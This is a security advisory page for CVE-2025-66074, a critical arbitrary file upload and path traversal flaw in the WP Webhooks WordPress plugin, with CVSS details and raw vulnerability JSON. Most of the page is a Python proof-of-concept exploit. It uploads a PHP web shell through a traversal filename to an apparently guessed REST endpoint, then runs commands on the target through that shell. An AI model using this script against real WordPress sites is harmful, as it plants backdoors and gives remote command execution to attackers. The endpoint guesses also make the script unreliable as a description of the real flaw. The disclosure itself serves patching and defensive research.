Security Vulnerability Report
中文
CVE-2025-66074 CVSS 9.0 CRITICAL

CVE-2025-66074

Published: 2025-12-18 08:16:15
Last Modified: 2026-04-27 18:16:34

Description

Unrestricted Upload of File with Dangerous Type vulnerability in Cozmoslabs WP Webhooks wp-webhooks allows Path Traversal.This issue affects WP Webhooks: from n/a through <= 3.3.8.

CVSS Details

CVSS Score
9.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Webhooks (wp-webhooks) <= 3.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66074 - WP Webhooks <= 3.3.8 Arbitrary File Upload PoC Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import os def exploit_cve_2025_66074(target_url, webshell_content=None): """ Exploit for WP Webhooks arbitrary file upload vulnerability via path traversal """ print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-66074 - WP Webhooks File Upload + Path Traversal") # Webshell content (default PHP webshell) if webshell_content is None: webshell_content = "<?php system($_GET['cmd']); ?>" # Target endpoint (typical WP Webhooks upload endpoint) upload_endpoint = f"{target_url}/wp-json/wp-webhooks/v1/upload" # Malicious filename with path traversal # This attempts to write to WordPress wp-content directory malicious_filename = "../../../wp-content/uploads/shell.php" # Prepare the malicious file data files = { 'file': (malicious_filename, webshell_content, 'application/x-php') } # Additional data that might be required data = { 'action': 'upload_file', 'webhook_type': 'file_upload' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'multipart/form-data' } print(f"[+] Sending malicious upload request...") print(f"[+] Target endpoint: {upload_endpoint}") print(f"[+] Malicious filename: {malicious_filename}") try: # Send the exploit request response = requests.post( upload_endpoint, files=files, data=data, headers=headers, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text[:500]}") # Check if upload was successful if response.status_code == 200: # Try to access the uploaded webshell webshell_url = f"{target_url}/wp-content/uploads/shell.php" print(f"[+] Webshell uploaded successfully!") print(f"[+] Access webshell at: {webshell_url}?cmd=whoami") # Verify the webshell exists verify_response = requests.get( f"{webshell_url}?cmd=echo+verified", timeout=10 ) if 'verified' in verify_response.text: print("[+] Webshell verification successful!") return True else: print(f"[-] Exploit may have failed. Check manually.") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_66074_poc.py <target_url>") print("Example: python cve_2025_66074_poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_66074(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66074", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:15.413", "lastModified": "2026-04-27T18:16:33.540", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in Cozmoslabs WP Webhooks wp-webhooks allows Path Traversal.This issue affects WP Webhooks: from n/a through <= 3.3.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-webhooks/vulnerability/wordpress-wp-webhooks-plugin-3-3-8-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}